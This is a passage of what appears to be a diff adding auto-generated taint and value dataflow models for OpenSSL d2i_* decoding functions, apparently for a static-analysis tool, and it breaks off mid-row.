["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NAMING_AUTHORITY", "(NAMING_AUTHORITY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_CERT_SEQUENCE", "(NETSCAPE_CERT_SEQUENCE **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_ENCRYPTED_PKEY", "(NETSCAPE_ENCRYPTED_PKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_PKEY", "(NETSCAPE_PKEY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKAC", "(NETSCAPE_SPKAC **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_NETSCAPE_SPKI", "(NETSCAPE_SPKI **,const unsigned char **,long)", "", "Argument[*0]", 